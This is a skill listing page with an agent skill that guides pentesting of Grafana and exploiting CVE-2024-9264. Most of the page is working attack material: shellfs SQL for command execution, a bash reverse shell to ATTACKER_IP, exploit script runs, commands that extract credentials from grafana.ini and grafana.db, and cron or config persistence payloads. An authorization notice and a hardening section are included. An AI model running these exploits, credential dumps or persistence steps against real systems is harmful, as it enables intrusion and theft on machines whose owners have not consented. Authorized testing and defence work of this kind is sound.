# Grafana Pentest

> Pentest Grafana instances for misconfigurations and CVE-2024-9264 SQL Expressions RCE/LFI vulnerability. Use this skill whenever you need to assess Grafana security, check for exposed credentials in config files, enumerate data sources, or test for the CVE-2024-9264 vulnerability that allows authenticated users to execute arbitrary commands via DuckDB shellfs extension. Trigger this skill for any Grafana security assessment, penetration test, or vulnerability scan.

- Skill: `abelrguezr/grafana-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/grafana-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/grafana-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/grafana-pentest

---


# Grafana Pentesting Skill

A comprehensive guide for security assessment of Grafana instances, including configuration analysis, credential discovery, and CVE-2024-9264 exploitation.

## ⚠️ Authorization Required

Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access is illegal.

## Quick Start

```bash
# Check if target is vulnerable to CVE-2024-9264
python3 scripts/check_grafana_cve.py -u <user> -p <pass> http://grafana.target

# Execute command if vulnerable
python3 scripts/exploit_cve_2024_9264.py -u <user> -p <pass> -c "id" http://grafana.target
```

## 1. Configuration File Analysis

### Sensitive Information Locations

Check these files for exposed credentials and configuration:

| File Path | Contains |
|-----------|----------|
| `/etc/grafana/grafana.ini` | Admin username, password, database config |
| `/var/lib/grafana/grafana.db` | SQLite3 database with data sources |
| `/etc/grafana/provisioning/` | Provisioned data source configs |

### Extract Credentials from Config

```bash
# Read main config file
cat /etc/grafana/grafana.ini | grep -E "(admin_user|admin_password|password)"

# Query SQLite database for data source credentials
sqlite3 /var/lib/grafana/grafana.db "SELECT user, password, database FROM data_source;"

# Check for API keys in database
sqlite3 /var/lib/grafana/grafana.db "SELECT * FROM api_key;"
```

## 2. CVE-2024-9264 SQL Expressions RCE/LFI

### Vulnerability Overview

Grafana's experimental SQL Expressions feature (enabled via `expressions.enabled = true`) allows authenticated users to execute arbitrary commands through DuckDB's shellfs extension.

**Impact:**
- Code execution as Grafana OS user (often `grafana`, sometimes `root` in containers)
- Local file read (LFI) capabilities
- Works with VIEWER role or higher

### Prerequisites Check

Before attempting exploitation, verify:

1. **SQL Expressions enabled:**
   ```bash
   curl -u <user>:<pass> http://grafana.target/api/admin/settings | jq '.expressions.enabled'
   ```

2. **DuckDB binary present on server:**
   ```bash
   # This check happens during exploitation attempt
   # If duckdb is not in PATH, exploit will fail
   ```

3. **Authentication credentials:**
   - Any user with VIEWER role or higher
   - Admin credentials provide more options

### Manual Exploitation

#### Step 1: Install and Load Shellfs Extension

Execute this SQL query in Grafana's SQL Expressions interface:

```sql
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
```

Replace `CMD` with your desired command.

#### Step 2: Read Command Output

```sql
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
```

#### Reverse Shell Payload

```bash
# Command to embed in the SQL query
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

# Listener on attacker machine
nc -lnvp 443
```

### Automated Exploitation

Use the provided script for reliable exploitation:

```bash
# Check execution context and privileges
python3 scripts/exploit_cve_2024_9264.py -u <USER> -p <PASS> -c id http://grafana.target

# Launch reverse shell
python3 scripts/exploit_cve_2024_9264.py -u <USER> -p <PASS> \
  -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
  http://grafana.target

# Read arbitrary file (LFI)
python3 scripts/exploit_cve_2024_9264.py -u <USER> -p <PASS> \
  -c 'cat /etc/passwd' \
  http://grafana.target
```

**Output interpretation:**
- `uid=0(root)` indicates Grafana runs as root (common in containers)
- `uid=471(grafana)` indicates standard Grafana user

## 3. Enumeration and Discovery

### Check Installed Plugins

```bash
# Via API
curl -u <user>:<pass> http://grafana.target/api/plugins

# Via UI: Admin → Plugins
```

### Enumerate Data Sources

```bash
curl -u <user>:<pass> http://grafana.target/api/datasources
```

### Check for API Keys

```bash
# Admin only
curl -u <admin>:<pass> http://grafana.target/api/admin/ldap
```

### Invite Users (if admin)

```bash
# POST to /api/admin/users with user data
# Or use UI: Admin → Users → Invite User
```

## 4. Post-Exploitation

### Privilege Escalation Checks

If you gain shell access:

```bash
# Check current user and groups
id

# Check for sudo privileges
sudo -l

# Check for other services running as root
ps aux | grep root

# Check for cron jobs
cat /etc/crontab
ls -la /etc/cron.*
```

### Persistence Options

```bash
# Add reverse shell to Grafana startup (if you have write access)
echo 'YOUR_PAYLOAD' >> /etc/grafana/grafana.ini

# Create cron job
echo '* * * * * /path/to/payload' | crontab -
```

## 5. Mitigation and Remediation

### For CVE-2024-9264

1. **Disable SQL Expressions:**
   ```ini
   # In /etc/grafana/grafana.ini
   [expressions]
   enabled = false
   ```

2. **Update Grafana:**
   - Upgrade to patched version (check Grafana security advisories)

3. **Remove DuckDB:**
   ```bash
   # If not needed for other purposes
   apt remove duckdb
   ```

4. **Restrict User Permissions:**
   - Use principle of least privilege
   - Avoid giving VIEWER role to untrusted users

### General Hardening

1. **Secure Configuration Files:**
   ```bash
   chmod 600 /etc/grafana/grafana.ini
   chown grafana:grafana /etc/grafana/grafana.ini
   ```

2. **Use Strong Authentication:**
   - Enable LDAP/SSO
   - Use strong passwords
   - Enable 2FA if available

3. **Network Segmentation:**
   - Restrict access to Grafana
   - Use firewall rules
   - Consider reverse proxy with authentication

## 6. Testing Checklist

- [ ] Check `/etc/grafana/grafana.ini` for credentials
- [ ] Query SQLite database for data source credentials
- [ ] Verify SQL Expressions status via API
- [ ] Test CVE-2024-9264 with automated script
- [ ] Enumerate installed plugins
- [ ] Check for exposed API keys
- [ ] Attempt privilege escalation if shell access gained
- [ ] Document findings and remediation steps

## References

- [Grafana Advisory – CVE-2024-9264](https://grafana.com/security/security-advisories/cve-2024-9264/)
- [DuckDB shellfs Extension](https://duckdb.org/community_extensions/extensions/shellfs.html)
- [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264)
- [cfreal/ten Framework](https://github.com/cfreal/ten)

## Notes

- This skill is designed for authorized security assessments only
- Always obtain written authorization before testing
- Document all findings and share with system owners
- Follow responsible disclosure practices for vulnerabilities found